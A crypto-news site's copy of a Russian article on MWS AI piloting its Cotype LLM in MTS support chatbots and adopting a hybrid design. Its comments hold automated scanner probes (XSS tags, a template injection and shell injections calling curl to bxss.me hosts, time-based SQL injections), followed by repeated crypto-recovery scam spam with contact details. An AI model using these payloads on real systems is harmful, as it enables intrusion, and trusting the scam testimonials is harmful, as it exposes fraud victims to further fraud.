Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9511 / Markets: 114262
Market Cap: $ 3 751 946 011 369 / 24h Vol: $ 203 637 902 317 / BTC Dominance: 58.850002902932%

Н Новости

  1. Главная
  2. Новости

Нельзя просто так взять и заменить тысячи строк кода на промпты. Мы убедились в этом на практике

02b55d707ed4d26d2bea859068914544.png

Привет, Хабр!

Меня зовут Наталья Корсакова, я руководитель департамента лингвистической разработки MWS AI (входит в МТС Web Services и разрабатывает ИИ-продукты и решения как для экосистемы МТС, так и для рынка). На последнем Conversations AI в Питере на пару с Еленой Деликановой (это наш тимлид разработчиков-лингвистов) мы рассказали, как прикручивали LLM к чат-ботам МТС. Так мы надеялись улучшить лояльность клиентов (абонентов МТС), ускорить разработку и упростить поддержку громоздких диалоговых систем. По многочисленным просьбам излагаем наш опыт в тексте.

Спойлер: оказалось, что нельзя просто так взять и заменить тысячи строк кода на промпты. То есть можно, но жизнь разработчикам это не упростит, а в некоторых случаях даже усложнит. Однако работа наша оказалась небесполезной: мы поняли, что нужен баланс между традиционной логикой бота и генеративкой, и пришли к идее гибридной архитектуры. Но обо всем по порядку.

От скриптов к генерации

Боты от MWS AI (в прошлом MTS AI) работают с 2017 года. С ними абоненты МТС общаются в чатах и кол-центрах, — с точки зрения размеров кода и по объемам входящего трафика это одни из крупнейших продуктов на рынке.

Их суммарная аудитория — более 80 миллионов пользователей, в пиковые дни они обрабатывают до 500 тысяч обращений в сутки.

Как выглядит типичный сценарий бота МТС
Как выглядит типичный сценарий бота МТС

К 2023 году возможности классических скриптов во многом были исчерпаны: мы автоматизировали почти все типовые запросы, рост бизнес-метрик замедлился. Кроме того, кодовая база ботов стала очень громоздкой. Мы активно экспериментировали с ML-моделями, проверяли разные гипотезы, которые, увы, не особо меняли общую картину. Тут-то мы и решили, что надо прикрутить LLM. Генеративные AI-инструменты развиваются семимильными шагами, так что это показалось нам следующим естественным этапом эволюции диалоговых ботов.

Истинная причина, почему мы решили перевести ботов на LLM
Истинная причина, почему мы решили перевести ботов на LLM

Перед запуском пилота мы сформулировали две основные гипотезы:

Улучшение пользовательских метрик (tNPS и Gross)

LLM должна помочь боту давать более точные и «человечные» ответы за счет лучшего понимания естественного языка и контекста. Тогда клиенты будут довольнее, а процент успешно автоматизированных обращений вырастет.

Ускорение разработки и упрощение поддержки

Вместо использования сложного алгоритма в коде на JAICP DSL часть логики можно описывать простыми текстовыми промптами для LLM. То есть основная идея — облегчить жизнь разработчикам, которым не придется тратить сотни часов на сотни строк кода.

Интеграция в сценарии

Эксперимент по внедрению LLM стартовал в конце 2024 года. Пилот длился около двух с половиной месяцев. Для него мы использовали свою собственную большую языковую модель — Cotype.

Мы выбрали несколько разных по сложности сценариев: от очень простого, не требующего никаких внешних интеграций (чтобы оценить работу самой модели), до одного из самых сложных интеграционных (чтобы по максимуму выявить узкие места). Раньше эти сценарии были жестко прописаны в коде: какие методы вызывать, как обрабатывать их ответы, что и как должен говорить бот в зависимости от условий. Теперь же нужно было описать логику сценариев в виде промптов для языковой модели, чтобы она сама формулировала ответы.

При этом мы понимали, что просто перенести имеющуюся логику в промпты — не лучшая идея: это могло бы помочь проверить гипотезу про ускорение разработки, но вряд ли сильно улучшило бы пользовательский опыт. Поэтому параллельно решили провести рефакторинг логики выбранных сценариев. Для этого мы использовали опыт топовых операторов-людей — изучили их актуальные инструкции и проанализировали диалоги с высокими оценками от клиентов.

В пилотной архитектуре LLM стала надстройкой над уже работающим ботом. Наши ассистенты базируются на диалоговой платформе с гибридной системой распознавания интентов: входящие сообщения классифицируются набором правил и ML-моделей, после чего выбирается соответствующий сценарий. Решено было сохранить существующую схему классификации на входе, а языковую модель подключить на следующем этапе — для уточнения запроса пользователя (если это необходимо) и формирования ответа.

Проще говоря, бот по-прежнему распознает намерение пользователя как один из 400 существующих интентов и выбирает сценарий. Но для ряда тематик вместо фиксированных фраз вызывается развернутый в безопасном контуре LLM-сервис с подготовленным промптом, где есть необходимый контекст диалога. Модель генерирует ответ, и он возвращается пользователю. Такой подход позволил ограничить область применения LLM самыми подходящими случаями и не отправлять те запросы, где она заведомо не нужна. К тому же это обеспечивает резервный вариант: если что-то пойдет не так, можно вернуться к прежней логике ответа на уровне платформы.

Звучит гладко, не правда ли? Но на деле мы сразу столкнулись с рядом серьезных проблем.

Первые сложности

Проблема № 1

Мы понимали, что LLM на первых порах будет требовать гораздо больше времени для формирования ответа. Классический бот с жесткими сценариями отвечает на простые вопросы меньше чем за секунду, а с подключением генеративной модели время ответа выросло в несколько раз. Если в текстовых каналах еще можно выделить пару дополнительных секунд «на подумать», то для голосового ассистента такая задержка критична: пользователь на линии слышит долгую тишину и начинает беспокоиться, а то и злиться — лояльность летит вниз.

Мы придумали обходной маневр: чтобы скрыть паузу, мы научили бота сразу же произносить краткую преамбулу типа «Сейчас проверю информацию…» перед выдачей основного ответа. Такая уловка чуть сгладила ощущение зависания. Но понятно, что идеальный голосовой ассистент должен отвечать практически мгновенно, без заметных пауз. Это решение выглядит скорее временной мерой: нужно либо ускорять саму модель, либо придумывать передачу сообщения частями, чем мы и планируем заняться. В рамках короткого пилота внедрить streaming-выдачу мы не успели, поэтому проблема скорости пока осталась узким местом использования LLM в ботах.

Проблема № 2

Известная особенность больших языковых моделей — галлюцинации, когда модель придумывает несуществующие факты или инструкции. В контексте клиентского сервиса это может быть очень неприятно. Бот должен давать достоверные и уместные ответы, а не отсебятину. Однако поначалу LLM иногда все-таки выдавала лишнее, а в некоторых случаях вела себя так, что кто-то мог воспринять ее ответ как пассивную агрессию.

Для сервиса поддержки такой тон и контент, конечно, катастрофа, и это очень плохо влияет на метрики. Так что мы экспериментировали с промптами: добавляли строгие инструкции и ограничения в текст запроса к модели, старались сузить ей пространство для фантазии. Где-то в промптах даже приходилось прибегать к угрозам: обещать модельке наложить на нее штраф в 10 тыс. долларов, а когда она и после этого не слушалась — поднимать штрафы до 100 тыс. баксов. Ну или отдельный жанр угроз для LLM — обещание катастрофы с обязательной благодарностью в конце: «Только не отвечай так, а то нас всех СМОЕТ К ЧЕРТЯМ! Спасибо».

Все это в итоге помогло, но сделало промпты ужасно громоздкими. Они разрастались, включая все новые уточнения и правила. В какой-то момент в команде мы стали называть наши инструкции пятым томом «Войны и мира». Ирония в том, что в итоге огромный многострочный промпт уже мало чем отличался от сложного кода сценария, от которого так хотелось уйти. Его сложно читать и поддерживать: через неделю автор такого промпта сам с трудом вспоминал, как он устроен и что нужно поправить, а некоторые части инструкций могли противоречить друг другу.

Надежда на то, что переход на LLM упростит разработку, таяла, как наши нервные клетки. Снижения сложности и ускорения Time to Market мы, увы, не увидели — напротив, создание и отладка LLM-сценариев занимали больше времени, чем классический скрипт.

Проблема № 3

Еще одно последствие генеративной природы искусственного интеллекта — отсутствие детерминизма. Сценарии на правилах всегда предсказуемы: вводишь строгий запрос — получаешь строгий ответ. С LLM же один и тот же запрос может быть сформулирован разными словами, а небольшое изменение контекста может кардинально изменить выдачу. Это стало особенным вызовом для команды Q&A. Как тестировать сценарий, у которого нет жестко заданного эталонного результата? Раньше тестировщик знал: шаг 1 — сказать фразу X, шаг 2 — получить ответ Y. Сейчас в тест-кейсе приходится писать: «Убедиться, что ответ звучит по смыслу адекватно и не противоречит общей инструкции». Но критерии адекватности субъективны, а главное — каждый прогон диалога может дать разный результат. Появился элемент вероятности там, где раньше была строгая определенность. В итоге на проверку одной ветки диалога стало уходить больше времени, требовались дополнительные прогоны, и это тоже тормозило Time to Market.

Проблема № 4

Кроме того, выяснилось, что есть классы задач, которые очень просто решаются привычным кодом, но вызывают затруднения у языковой модели. Элементарная арифметика, проверки по справочникам, работа с датами — это то, что в классическом сценарии делается одной строчкой кода или условием. А LLM ради этого приходится снабжать особыми инструкциями или писать дополнительный парсер сгенерированного сообщения, иначе модель может споткнуться на ровном месте. Подключать генерацию для таких случаев явно избыточно — как забивать гвозди микроскопом.

Первые результаты

Итак, по части ускорения разработки первые итерации нас больше разочаровали. Объем работы не снизился, просто вместо кода надо было писать промпты и отлаживать Cotype вручную. Время вывода изменений в продакшен даже выросло чуть ли не в два раза по сравнению с обычным подходом из-за всех непредвиденных итераций допиливания промптов, поиска баланса между точностью и человечностью и расширенного тестирования. Пришлось признать, что мы были слишком оптимистичны и недооценили ряд подводных камней, рассчитывая быстро заменить правила на нейросеть.

a7751e5fb3de0bfa51b4b9726f894f42.png

Но на ошибках (и слезах разработчиков) учатся, поэтому мы все-таки считаем пилот успешным: есть и рост метрик, и ценные выводы.

Во-первых, опыт пользователей действительно улучшился. Ответы стали заметно богаче по языку, более человечными. Модель умеет лучше держать контекст диалога, не повторяет односложно заранее заготовленные фразы, а старается понятно объяснить суть. Бот начал проявлять больше эмпатии и дружелюбия.

Во-вторых, целевые метрики показали рост. По итогам пилота зафиксировано повышение удовлетворенности пользователей и доли автоматизированных обращений на 5-10% (в зависимости от сценария и канала). Рекордным этот результат не назовешь, но это устойчивый положительный эффект, на который мы и рассчитывали в рамках пилота. Так подтвердилась первая гипотеза: LLM действительно принесла выгоду для бизнеса, пусть пока и умеренную. А главное, стало понятно, что подход можно масштабировать (после модификаций).

В чем сила, брат? В гибридной архитектуре

Проанализировав итоги пилота, мы пересмотрели подход к роли LLM в архитектуре бота. Главный вывод: нельзя просто взять и выкинуть весь старый код, заменив его магической нейросетью. Нужен баланс между традиционной логикой и генеративкой. Все-таки даже самая умная модель не панацея: ей по-прежнему нужен структурированный каркас сценария и ручное управление на сложных участках.

Команда пришла к идее гибридной архитектуры, где сочетаются сильные стороны обоих подходов. Что это значит на практике? Например, некоторые вещи проще и надежнее оставить в виде кода: многоуровневые проверки условий, обработку результатов вызова API, сложные расчеты — словом, то, где алгоритмы справляются быстро и без ошибок. Зато формулирование финального ответа пользователю лучше доверить Cotype, потому что у модели несравнимо больше гибкости в языковом выражении и учете контекста.

Более того, родилась идея создать DSL для работы с LLM — специализированный язык описания логики диалога, понятный и человеку, и ИИ. Это мог бы быть набор специальных меток и конструкций, которым модель обучена следовать. Например, вместо длинных разъяснений на естественном языке в промпте можно писать структурированный псевдокод, а LLM уже интерпретировала бы его при генерации ответа. Такой подход позволяет избежать путаницы в работе с генеративной моделью и одновременно облегчает жизнь разработчикам, делая промпты более читаемыми и структурированными.

От «болталки» до агентной экосистемы

Успех пилота (при всех оговорках) вдохновил команду: мозговой штурм родил десятки идей, как еще можно использовать GenAI в рамках клиентского сервиса. Многие из этих гипотез уже в процессе проверки. Вот несколько наиболее интересных направлений.

Свободный диалог и неочевидные запросы

Клиентские боты неизбежно сталкиваются с вопросами, которые выходят за рамки прописанных сценариев и даже профиля деятельности компании. Пользователя может интересовать что угодно — от бытовых советов до вопросов о смысле жизни. Раньше на такие обращения бот либо отвечал вежливой отговоркой, либо переводил на оператора. Но подключение LLM открывает возможность поддержать диалог на отвлеченные темы. ИИ-оператор на базе языковой модели способен ответить на произвольный вопрос пользователя или просто поболтать, если это уместно. Конечно, нужно контролировать качество и тематику этих ответов, но сама возможность сделать бота более разговорчивым — огромный плюс к лояльности клиентов. Поэтому мы подумали, что можно задействовать LLM как мозг для режима «болталки» (в разумных пределах, чтобы не уходить в совсем сторонние темы).

Саммари для операторов

Понятно, что сейчас даже самый умный агент не сможет закрыть 100% клиентских обращений. Всегда будут какие-то нестандартные ситуации, где нужна помощь оператора-человека. При этом самая первая линия поддержки — это все равно бот. И пользователь уже мог успеть раскрыть ему тему обращения и даже какие-то детали. Если придется повторять то же самое для оператора, это повлияет и на лояльность клиента, и на время, которое оператор потратит на обслуживание. Поэтому мы с коллегами из Департамента клиентского сервиса МТС запустили пилот по передаче операторам саммари диалога с ботом. LLM с такой задачей справляется на ура.

Результаты превзошли наши ожидания. Мы рассчитывали сократить среднее время обработки вызова (AHT) на 8 секунд и поднять tNPS на 1%, а получили сокращение AHT на 11 секунд и повышение tNPS на 1,3%. Не менее важны и положительные отзывы от операторов:

Раньше мы читали, как клиенты ругаются на робота, а сейчас сразу вкратце видим причину обращения, так что да, удобно!

Был пример с подробно расписанным предложением, очень помогло быстро понять клиента.

Я теперь меньше пугаюсь: звездочек (мата) нет, оскорблений тоже — только суть проблемы.

Обработка длинных запросов

Еще один кейс, где LLM обещают быть полезными: многословные обращения. Некоторые люди, особенно пожилые, могут описывать свою проблему длинным рассказом на несколько абзацев, упоминая кучу деталей. Обычные алгоритмы классификации начинают тонуть в такой простыне текста — из нее можно извлечь несколько разных ключевых слов, которые укажут на разные намерения, и будет совершенно непонятно, что именно важно. Языковая модель отлично подходит для резюмирования и извлечения сути из пользовательского запроса. Она может прочитать длинное обращение и одним предложением сформулировать, какой вопрос задает человек. Затем этот вывод можно подставить в стандартную классификацию или сразу подобрать нужный сценарий. Таким способом длинные запросы будут правильно маршрутизироваться, вместо того чтобы сразу отправляться к оператору-человеку из-за неопределенности.

Персонализированные рекомендации

Наш бот умеет рекомендовать продукты компании (тарифы, услуги и тому подобное) на основе запросов от пользователя. Сейчас рекомендации строятся по заданным правилам: например, если в разговоре упомянуто A, то нужно предложить услугу B. Но LLM дает рекомендации более интеллектуально и гибко. Она может учитывать контекст диалога, тон пользователя, сочетание упомянутых фактов. На этой основе можно точнее подбирать совет или продукт под потребности человека. В индустрии уже есть успешные примеры использования больших языковых моделей для рекомендаций, и команда планирует испытать такой подход. Например, не просто подобрать тариф по паре параметров, а объяснить преимущества подходящего предложения, сравнить с другими — фактически провести мини-консультацию, как это сделал бы продавец-человек.

Аналитика диалогов

Помимо непосредственного общения с клиентом, искусственный интеллект может помочь программистам и аналитикам в бэк-офисных задачах. Очень интересный кейс — анализ причин, почему пользователи переводятся на оператора-человека. Когда бот не справляется, бывает трудно сразу понять, что пошло не так. Приходится читать логи и вручную классифицировать причины. LLM же можно обучить просматривать диалоги, которые завершились переводом на человека, и вычленять основную причину отказа бота. Например: «непонятный вопрос про техническую проблему» или «клиент недоволен ответом, требует подтверждения от человека». Такие инсайты помогут оперативно улучшать сценарии бота, закрывать пробелы в базе знаний и так далее. Также LLM может ускорить разметку новых данных, генерировать вариативные фразы для новых интентов — иными словами, работать как ассистент самой команды разработки.

AI-агенты и разделение компетенций

Впереди у нас исследование более радикальной концепции — AI-агентов. Речь идет о переходе от одного монолитного бота ко множеству специализированных LLM-агентов, каждый из которых отвечает за определенную тему или функцию. Это очень горячая тема.

Небольшие агентные ИИ-системы, наделенные инструментами (доступом к API, базам данных и тому подобному), могут совместно решать сложные задачи. В контексте клиентского сервиса это могло бы выглядеть так: вместо единого цифрового помощника, который знает понемногу обо всем, у компании есть целая экосистема агентов. Например, один агент отвечает только на вопросы по мобильной связи, другой — по финансовым услугам, третий — по технической поддержке. Они могут обмениваться информацией, перенаправлять клиента между собой или подключаться параллельно. Каждый агент при этом обучен глубоко в своей области и умеет пользоваться конкретными инструментами (например, проверять баланс, менять тариф или оформлять заявку на вызов мастера).

Такой подход потенциально упростит каждого отдельного бота (ведь область его знаний ограничена), но потребует надежной оркестрации между агентами. Мы уже начали прорабатывать архитектуру таких систем. Это следующий шаг эволюции: сравнить, что окажется эффективнее и удобнее для пользователей — усовершенствованный классический бот с LLM «на подхвате» или распределенная сеть узких ИИ-экспертов.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

